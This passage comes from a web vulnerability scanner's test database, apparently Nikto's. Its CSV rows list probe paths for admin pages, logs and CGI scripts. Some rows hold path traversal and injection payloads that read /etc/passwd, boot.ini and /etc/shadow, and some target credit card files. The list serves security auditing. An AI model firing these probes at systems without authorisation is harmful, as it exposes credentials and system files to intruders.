  2721. "generic","/tree/","200","GET","This might be interesting..."
  2722. "generic","/trees/","200","GET","This might be interesting..."
  2723. "generic","/updates/","200","GET","This might be interesting..."
  2724. "generic","/user/","200","GET","This might be interesting..."
  2725. "generic","/users/","200","GET","This might be interesting..."
  2726. "generic","/users/scripts/submit.cgi","200","GET","This might be interesting..."
  2727. "generic","/ustats/","200","GET","This might be interesting..."
  2728. "generic","/usuario/","200","GET","This might be interesting..."
  2729. "generic","/usuarios/","200","GET","This might be interesting..."
  2730. "generic","/vfs/","200","GET","This might be interesting..."
  2731. "generic","/w3perl/admin","200","GET","This might be interesting..."
  2732. "generic","/web/","200","GET","This might be interesting..."
  2733. "generic","/web800fo/","200","GET","This might be interesting..."
  2734. "generic","/webaccess.htm","200","GET","Just found this log file..."
  2735. "generic","/webaccess/access-options.txt","200","GET","Just found this file..."
  2736. "generic","/webadmin/","200","GET","This might be interesting...may be HostingController, www.hostingcontroller.com"
  2737. "generic","/webboard/","200","GET","This might be interesting..."
  2738. "generic","/webcart-lite/","200","GET","This might be interesting..."
  2739. "generic","/webcart/","200","GET","This might be interesting..."
  2740. "generic","/webdata/","200","GET","This might be interesting..."
  2741. "generic","/weblog/","200","GET","This might be interesting..."
  2742. "generic","/weblogs/","200","GET","This might be interesting..."
  2743. "generic","/webmaster_logs/","200","GET","This might be interesting..."
  2744. "generic","/WebShop/","200","GET","This might be interesting..."
  2745. "generic","/WebShop/logs/cc.txt","200","GET","This might be interesting..."
  2746. "generic","/WebShop/templates/cc.txt","200","GET","This might be interesting..."
  2747. "generic","/website/","200","GET","This might be interesting..."
  2748. "generic","/webstats/","200","GET","This might be interesting..."
  2749. "generic","/WebTrend/","200","GET","This might be interesting..."
  2750. "generic","/Web_store/","200","GET","This might be interesting..."
  2751. "generic","/windows/","200","GET","This might be interesting..."
  2752. "generic","/word/","200","GET","This might be interesting..."
  2753. "generic","/work/","200","GET","This might be interesting..."
  2754. "generic","/wstats/","200","GET","This might be interesting..."
  2755. "generic","/wusage/","200","GET","This might be interesting..."
  2756. "generic","/www-sql/","200","GET","This might be interesting..."
  2757. "generic","/www/","200","GET","This might be interesting..."
  2758. "generic","/wwwboard/wwwboard.cgi","200","GET","This might be interesting..."
  2759. "generic","/wwwboard/wwwboard.pl","200","GET","This might be interesting..."
  2760. "generic","/wwwjoin/","200","GET","This might be interesting..."
  2761. "generic","/wwwlog/","200","GET","This might be interesting..."
  2762. "generic","/wwwstats.html","200","GET","Just found this log file..."
  2763. "generic","/wwwstats/","200","GET","This might be interesting..."
  2764. "generic","/wwwthreads/3tvars.pm","200","GET","This might be interesting..."
  2765. "generic","/wwwthreads/w3tvars.pm","200","GET","This might be interesting..."
  2766. "generic","/zipfiles/","200","GET","This might be interesting..."
  2767. "generic","@CGIDIRS.fhp","200","GET","This might be interesting..."
  2768. "generic","@CGIDIRSadduser.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2769. "generic","@CGIDIRSadd_ftp.cgi","200","GET","This might be interesting..."
  2770. "generic","@CGIDIRSadmin.cgi","200","GET","This might be interesting..."
  2771. "generic","@CGIDIRSadmin.php","200","GET","This might be interesting..."
  2772. "generic","@CGIDIRSadmin.php3","200","GET","This might be interesting..."
  2773. "generic","@CGIDIRSadmin.pl","200","GET","Might be interesting"
  2774. "generic","@CGIDIRSadminhot.cgi","200","GET","This might be interesting... has been seen in web logs from another CGI scanner."
  2775. "generic","@CGIDIRSadminwww.cgi","200","GET","This might be interesting... has been seen in web logs from another CGI scanner."
  2776. "generic","@CGIDIRSamadmin.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2777. "generic","@CGIDIRSAnyBoard.cgi","200","GET","This might be interesting..."
  2778. "generic","@CGIDIRSAnyForm","200","GET","This might be interesting..."
  2779. "generic","@CGIDIRSAnyForm2","200","GET","This might be interesting..."
  2780. "generic","@CGIDIRSAT-generate.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2781. "generic","@CGIDIRSawl/auctionweaver.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2782. "generic","@CGIDIRSax-admin.cgi","200","GET","This might be interesting..."
  2783. "generic","@CGIDIRSax.cgi","200","GET","This might be interesting..."
  2784. "generic","@CGIDIRSaxs.cgi","200","GET","This might be interesting..."
  2785. "generic","@CGIDIRSbb-histlog.sh","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2786. "generic","@CGIDIRSbbs_forum.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2787. "generic","@CGIDIRSbnbform","200","GET","This might be interesting..."
  2788. "generic","@CGIDIRSbnbform.cgi","200","GET","This might be interesting..."
  2789. "generic","@CGIDIRSbsguest.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2790. "generic","@CGIDIRSbslist.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2791. "generic","@CGIDIRSbulk/bulk.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2792. "generic","@CGIDIRScached_feed.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2793. "generic","@CGIDIRScalender_admin.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2794. "generic","@CGIDIRScart.pl","200","GET","This might be interesting..."
  2795. "generic","@CGIDIRScartmanager.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2796. "generic","@CGIDIRScbmc/forums.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2797. "generic","@CGIDIRScgimail.exe","200","GET","This might be interesting..."
  2798. "generic","@CGIDIRSchange-your-password.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2799. "generic","@CGIDIRSclassifieds","200","GET","This might be interesting..."
  2800. "generic","@CGIDIRSclassifieds.cgi","200","GET","This might be interesting..."
  2801. "generic","@CGIDIRSclickcount.pl?view=test","200","GET","This might be interesting..."
  2802. "generic","@CGIDIRSclickresponder.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2803. "generic","@CGIDIRScode.php","200","GET","This might be interesting..."
  2804. "generic","@CGIDIRScode.php3","200","GET","This might be interesting..."
  2805. "generic","@CGIDIRScommandit.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2806. "generic","@CGIDIRScount.cgi","200","GET","This might be interesting..."
  2807. "generic","@CGIDIRScounter-ord","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2808. "generic","@CGIDIRScounterbanner","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2809. "generic","@CGIDIRScounterbanner-ord","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2810. "generic","@CGIDIRScounterfiglet-ord","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2811. "generic","@CGIDIRScounterfiglet/nc/","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2812. "generic","@CGIDIRScstat.pl","200","GET","This might be interesting..."
  2813. "generic","@CGIDIRSc_download.cgi","200","GET","This might be interesting..."
  2814. "generic","@CGIDIRSdasp/fm_shell.asp","200","GET","This might be interesting..."
  2815. "generic","@CGIDIRSday5datacopier.cgi","200","GET","This might be interesting..."
  2816. "generic","@CGIDIRSday5datanotifier.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2817. "generic","@CGIDIRSdb2www/library/document.d2w/show","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2818. "generic","@CGIDIRSdb_manager.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2819. "generic","@CGIDIRSDCFORMS98.CGI","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2820. "generic","@CGIDIRSdfire.cgi","200","GET","This might be interesting..."
  2821. "generic","@CGIDIRSdig.cgi","200","GET","This might be interesting..."
  2822. "generic","@CGIDIRSdisplayTC.pl","200","GET","This might be interesting..."
  2823. "generic","@CGIDIRSdnewsweb","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2824. "generic","@CGIDIRSdonothing","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2825. "generic","@CGIDIRSedit.pl","200","GET","This might be interesting..."
  2826. "generic","@CGIDIRSenter.cgi","200","GET","This might be interesting..."
  2827. "generic","@CGIDIRSenviron.cgi","200","GET","This might be interesting..."
  2828. "generic","@CGIDIRSenviron.pl","200","GET","This might be interesting..."
  2829. "generic","@CGIDIRSex-logger.pl","200","GET","This might be interesting..."
  2830. "generic","@CGIDIRSexcite","200","GET","This might be interesting..."
  2831. "generic","@CGIDIRSfilemail","200","GET","This might be interesting..."
  2832. "generic","@CGIDIRSfilemail.pl","200","GET","This might be interesting..."
  2833. "generic","@CGIDIRSftp.pl","200","GET","This might be interesting... is file transfer allowed?"
  2834. "generic","@CGIDIRSgbook/gbook.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2835. "generic","@CGIDIRSgetdoc.cgi","200","GET","This might be interesting..."
  2836. "generic","@CGIDIRSglimpse","200","GET","This might be interesting..."
  2837. "generic","@CGIDIRShitview.cgi","200","GET","This might be interesting..."
  2838. "generic","@CGIDIRSikonboard/help.cgi?","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2839. "generic","@CGIDIRSjj","200","GET","This might be interesting..."
  2840. "generic","@CGIDIRSjournal.cgi?folder=journal.cgi%00","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2841. "generic","@CGIDIRSlog-reader.cgi","200","GET","This might be interesting..."
  2842. "generic","@CGIDIRSlog/","200","GET","This might be interesting..."
  2843. "generic","@CGIDIRSlogin.cgi","200","GET","This might be interesting..."
  2844. "generic","@CGIDIRSlogin.pl","200","GET","This might be interesting..."
  2845. "generic","@CGIDIRSlogit.cgi","200","GET","This might be interesting..."
  2846. "generic","@CGIDIRSlogs.pl","200","GET","May be interesting..."
  2847. "generic","@CGIDIRSlogs/","200","GET","This might be interesting..."
  2848. "generic","@CGIDIRSlogs/access_log","200","GET","Just found this log..."
  2849. "generic","@CGIDIRSlogs/error_log","200","GET","Just found this log..."
  2850. "generic","@CGIDIRSlookwho.cgi","200","GET","This might be interesting..."
  2851. "generic","@CGIDIRSmaillist.cgi","200","GET","This might be interesting..."
  2852. "generic","@CGIDIRSmaillist.pl","200","GET","This might be interesting..."
  2853. "generic","@CGIDIRSmajordomo.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2854. "generic","@CGIDIRSman.sh","200","GET","This might be interesting..."
  2855. "generic","@CGIDIRSmeta.pl","200","GET","This might be interesting..."
  2856. "generic","@CGIDIRSminimal.exe","200","GET","This might be interesting..."
  2857. "generic","@CGIDIRSncommerce3/ExecMacro/macro.d2w/%0a%0a","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2858. "generic","@CGIDIRSncommerce3/ExecMacro/macro.d2w/NOEXISTINGHTMLBLOCK","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2859. "generic","@CGIDIRSnlog-smb.cgi","200","GET","This might be interesting..."
  2860. "generic","@CGIDIRSnlog-smb.pl","200","GET","This might be interesting..."
  2861. "generic","@CGIDIRSnph-maillist.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2862. "generic","@CGIDIRSnph-publish","200","GET","This might be interesting..."
  2863. "generic","@CGIDIRSntitar.pl","200","GET","This might be interesting..."
  2864. "generic","@CGIDIRSpass","200","GET","This could be interesting..."
  2865. "generic","@CGIDIRSpasswd","200","GET","This could be interesting..."
  2866. "generic","@CGIDIRSpasswd.txt","200","GET","This could be interesting..."
  2867. "generic","@CGIDIRSpassword","200","GET","This could be interesting..."
  2868. "generic","@CGIDIRSphp-cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2869. "generic","@CGIDIRSpollssi.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2870. "generic","@CGIDIRSpostcards.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2871. "generic","@CGIDIRSpost_query","200","GET","This might be interesting..."
  2872. "generic","@CGIDIRSprofile.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2873. "generic","@CGIDIRSpu3.pl","200","GET","This might be interesting..."
  2874. "generic","@CGIDIRSratlog.cgi","200","GET","This might be interesting..."
  2875. "generic","@CGIDIRSreplicator/webpage.cgi/","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2876. "generic","@CGIDIRSresponder.cgi","200","GET","This might be interesting..."
  2877. "generic","@CGIDIRSrguest.exe","200","GET","This might be interesting..."
  2878. "generic","@CGIDIRSrightfax/fuwww.dll/?","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2879. "generic","@CGIDIRSrmp_query","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2880. "generic","@CGIDIRSrobpoll.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2881. "generic","@CGIDIRSscripts/*%0a.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2882. "generic","@CGIDIRSsearch.cgi","200","GET","This might be interesting..."
  2883. "generic","@CGIDIRSsearch.pl","200","GET","This might be interesting..."
  2884. "generic","@CGIDIRSsession/adminlogin","200","GET","This might be interesting..."
  2885. "generic","@CGIDIRSshow.pl","200","GET","This might be interesting..."
  2886. "generic","@CGIDIRSstat/","200","GET","This might be interesting..."
  2887. "generic","@CGIDIRSstats-bin-p/reports/index.html","200","GET","This might be interesting..."
  2888. "generic","@CGIDIRSstats.pl","200","GET","This might be interesting..."
  2889. "generic","@CGIDIRSstats.prf","200","GET","This might be interesting..."
  2890. "generic","@CGIDIRSstats/","200","GET","This might be interesting..."
  2891. "generic","@CGIDIRSstatsconfig","200","GET","This might be interesting..."
  2892. "generic","@CGIDIRSstats_old/","200","GET","This might be interesting..."
  2893. "generic","@CGIDIRSstatview.pl","200","GET","This might be interesting..."
  2894. "generic","@CGIDIRSsurvey","200","GET","This might be interesting..."
  2895. "generic","@CGIDIRSsurvey.cgi","200","GET","This might be interesting..."
  2896. "generic","@CGIDIRStablebuild.pl","200","GET","This might be interesting..."
  2897. "generic","@CGIDIRStest.cgi","200","GET","This might be interesting..."
  2898. "generic","@CGIDIRStest/test.cgi","200","GET","This might be interesting..."
  2899. "generic","@CGIDIRStextcounter.pl","200","GET","This might be interesting..."
  2900. "generic","@CGIDIRStidfinder.cgi","200","GET","This might be interesting..."
  2901. "generic","@CGIDIRStigvote.cgi","200","GET","This might be interesting..."
  2902. "generic","@CGIDIRStpgnrock","200","GET","This might be interesting..."
  2903. "generic","@CGIDIRSultraboard.cgi","200","GET","This might be interesting..."
  2904. "generic","@CGIDIRSultraboard.pl","200","GET","This might be interesting..."
  2905. "generic","@CGIDIRSUpload.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2906. "generic","@CGIDIRSviewlogs.pl","200","GET","This might be interesting..."
  2907. "generic","@CGIDIRSvisitor.exe","200","GET","May be interesting..."
  2908. "generic","@CGIDIRSw3-msql","200","GET","This might be interesting..."
  2909. "generic","@CGIDIRSw3-sql","200","GET","This might be interesting..."
  2910. "generic","@CGIDIRSwebais","200","GET","This might be interesting..."
  2911. "generic","@CGIDIRSwebbbs.cgi","200","GET","This might be interesting..."
  2912. "generic","@CGIDIRSwebbbs.exe","200","GET","May be interesting..."
  2913. "generic","@CGIDIRSwebutil.pl","200","GET","This might be interesting... has been seen in web logs from another CGI scanner."
  2914. "generic","@CGIDIRSwebutils.pl","200","GET","This might be interesting... has been seen in web logs from another CGI scanner."
  2915. "generic","@CGIDIRSwebwho.pl","200","GET","This might be interesting... has been seen in web logs from another CGI scanner."," "
  2916. "generic","@CGIDIRSwguest.exe","200","GET","May be interesting..."
  2917. "generic","@CGIDIRSwww-sql","200","GET","This might be interesting..."
  2918. "generic","@CGIDIRSwwwboard.cgi.cgi","200","GET","This might be interesting..."
  2919. "generic","@CGIDIRSwwwboard.pl","200","GET","This might be interesting..."
  2920. "generic","@CGIDIRSwwwstats.pl","200","GET","This might be interesting..."
  2921. "generic","@CGIDIRSwwwthreads/3tvars.pm","200","GET","This might be interesting..."
  2922. "generic","@CGIDIRSwwwthreads/w3tvars.pm","200","GET","This might be interesting..."
  2923. "iis","/adsamples/config/site.csc","200","GET","This might be interesting..."
  2924. "iis","/advworks/equipment/catalog_type.asp","200","GET","Just found this file..."
  2925. "iis","/carbo.dll","200","GET","This might be interesting..."
  2926. "iis","/clocktower/","200","GET","Site Server sample files.  This might be interesting."
  2927. "iis","/iissamples/exair/howitworks/Code.asp","200","GET","This might be interesting..."
  2928. "iis","/localstart.asp","You are not authorized","GET","This may be interesting..."
  2929. "iis","/market/","200","GET","Site Server sample files.  This might be interesting."
  2930. "iis","/mspress30/","200","GET","Site Server sample files.  This might be interesting."
  2931. "iis","/ows-bin/oaskill.exe?abcde.exe","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2932. "iis","/ows-bin/oasnetconf.exe?-l%20-s%20BlahBlah","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2933. "iis","/sam","200","GET","This might be interesting..."
  2934. "iis","/sam.bin","200","GET","This might be interesting..."
  2935. "iis","/sam._","200","GET","This might be interesting..."
  2936. "iis","/samples/search/queryhit.htm","200","GET","This might be interesting..."
  2937. "iis","/scripts/counter.exe","200","GET","This might be interesting..."
  2938. "iis","/scripts/cphost.dll","200","GET","This might be interesting"
  2939. "iis","/scripts/fpadmcgi.exe","200","GET","This might be interesting..."
  2940. "iis","/scripts/postinfo.asp","200","GET","This might be interesting..."
  2941. "iis","/scripts/samples/ctguestb.idc","200","GET","This might be interesting..."
  2942. "iis","/scripts/samples/search/webhits.exe","200","GET","This might be interesting..."
  2943. "iis","/site/iissamples/","200","GET","This might be interesting..."
  2944. "iis","/vc30/","200","GET","Site Server sample files.  This might be interesting."
  2945. "iis","/_mem_bin/","200","GET","This might be interesting - User Login"
  2946. "iis","/_mem_bin/FormsLogin.asp","200","GET","This might be interesting - User Login"
  2947. "iis","@CGIDIRS/_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2948. "iis","@CGIDIRS/_vti_pvt/doctodep.btr","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2949. "iis","@CGIDIRScfgwiz.exe","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2950. "iis","@CGIDIRSCgitest.exe","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2951. "iis","@CGIDIRSmailform.exe","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2952. "iis","@CGIDIRSms_proxy_auth_query/","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2953. "iis","@CGIDIRSpost16.exe","200","GET","This might be interesting... has been seen in web logs from a scanner."
  2954. "novell","/perl/files.pl","200","GET","This might be interesting..."
  2955. "novell","/perl5/files.pl","200","GET","This might be interesting..."
  2956. "novell","/scripts/convert.bas","200","GET","This might be interesting..."
  2957. "oracle","/owa_util%2esignature","200","GET","unknown--may be interesting"
  2958. "website","/cgi-dos/args.bat","200","GET","This might be interesting..."
  2959. "website","/sam","200","GET","This might be interesting..."
  2960. "website","/sam.bin","200","GET","This might be interesting..."
  2961. "website","/sam._","200","GET","This might be interesting..."
  2962.  
  2963. # These tests were found in web logs from other (unknown) scanners...
  2964. "generic","/abonnement.asp","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2965. "generic","/acartpath/signin.asp?|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2966. "generic","/add_acl","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2967. "generic","/admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid]","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2968. "generic","/admin/auth.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2969. "generic","/admin/cfg/configscreen.inc.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2970. "generic","/admin/cfg/configsite.inc.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2971. "generic","/admin/cfg/configsql.inc.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2972. "generic","/admin/cfg/configtache.inc.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2973. "generic","/admin/cms/htmltags.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2974. "generic","/admin/credit_card_info.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2975. "generic","/admin/exec.php3","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2976. "generic","/admin/index.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2977. "generic","/admin/modules/cache.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2978. "generic","/admin/objects.inc.php4","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2979. "generic","/admin/script.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2980. "generic","/admin/settings.inc.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2981. "generic","/admin/templates/header.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2982. "generic","/admin/upload.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2983. "generic","/admin_t/include/aff_liste_langue.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2984. "generic","/adv/gm001-mc/","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2985. "generic","/aff_news.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2986. "generic","/approval/ts_app.htm","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2987. "generic","/archive.asp","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2988. "generic","/archive_forum.asp","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2989. "generic","/ashnews.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2990. "generic","/auth.inc.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2991. "generic","/b2-tools/gm-2-b2.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2992. "generic","/bandwidth/index.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2993. "generic","/basilix.php3","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2994. "generic","/bigsam_guestbook.php?displayBegin=9999...9999","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2995. "generic","/bin/common/user_update_passwd.pl","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2996. "generic","/biztalktracking/RawCustomSearchField.asp?|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2997. "generic","/biztalktracking/rawdocdata.asp?|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2998. "generic","/board/index.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  2999. "generic","/board/philboard_admin.asp+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3000. "generic","/boilerplate.asp?NFuse_Template=../../boot.ini&NFuse_CurrentFolder=/SSLx0020Directories|-|0|404_Object_Not_Found","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3001. "generic","/bugtest+/+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3002. "generic","/caupo/admin/admin_workspace.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3003. "generic","/ccbill/whereami.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3004. "generic","/cfdocs.map","200","GET","Lists the output of ColdFusion apps revealing sensitive information. CVE-2000-0057. ASB00-03 http://www.macromedia.com/devnet/security/security_zone/asb00-03.html."
  3005. "generic","/chat_dir/register.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3006. "generic","/checkout_payment.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3007. "generic","/communique.asp","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3008. "generic","/community/forumdisplay.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3009. "generic","/community/index.php?analized=anything","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3010. "generic","/community/member.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3011. "generic","/compte.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3012. "generic","/config/html/cnf_gi.htm","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3013. "generic","/convert-date.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3014. "generic","/cp/rac/nsManager.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3015. "generic","/CSNews.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3016. "generic","/csPassword.cgi?command=remove%20","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3017. "generic","/cutenews/comments.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3018. "generic","/cutenews/search.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3019. "generic","/cutenews/shownews.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3020. "generic","/Data/settings.xml+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3021. "generic","/database/metacart.mdb+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3022. "generic","/db.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3023. "generic","/dbabble","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3024. "generic","/dcp/advertiser.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3025. "generic","/defines.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3026. "generic","/dltclnt.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3027. "generic","/doc/admin/index.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3028. "generic","/docs/NED","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3029. "generic","/dotproject/modules/files/index_table.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3030. "generic","/dotproject/modules/projects/addedit.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3031. "generic","/dotproject/modules/projects/view.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3032. "generic","/dotproject/modules/projects/vw_files.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3033. "generic","/dotproject/modules/tasks/addedit.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3034. "generic","/dotproject/modules/tasks/viewgantt.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3035. "generic","/do_map","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3036. "generic","/do_subscribe","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3037. "generic","/email.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3038. "generic","/emml_email_func.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3039. "generic","/emumail.cgi?type=.%00","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3040. "generic","/entete.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3041. "generic","/enteteacceuil.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3042. "generic","/etc/shadow+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3043. "generic","/eventcal2.php.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3044. "generic","/ez2000/ezadmin.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3045. "generic","/ez2000/ezboard.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3046. "generic","/ez2000/ezman.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3047. "generic","/faqman/index.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3048. "generic","/filemanager/index.php3","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3049. "generic","/filemgmt/brokenfile.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3050. "generic","/filemgmt/singlefile.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3051. "generic","/filemgmt/viewcat.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3052. "generic","/filemgmt/visit.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3053. "generic","/foro/YaBB.pl","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3054. "generic","/forum-ra.asp?n=....//....//....//....//....//....//....//etc.passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3055. "generic","/forum-ra.asp?n=../../../../../../../../../etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3056. "generic","/forum-ra.asp?n=../../../../../../../../../etc/passwd%00","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3057. "generic","/forum-ra.asp?n=/../../../../../../../../../../../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3058. "generic","/forum-ra.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3059. "generic","/forum-ra.asp?n=/etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3060. "generic","/forum-ra.asp?n=/etc/passwd%00","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3061. "generic","/forum-ra.asp?n=c:\boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3062. "generic","/forum-ra_professionnel.asp?n=%60/etc/passwd%60","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3063. "generic","/forum-ra_professionnel.asp?n=../../../../../../../../../etc/passwd%00","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
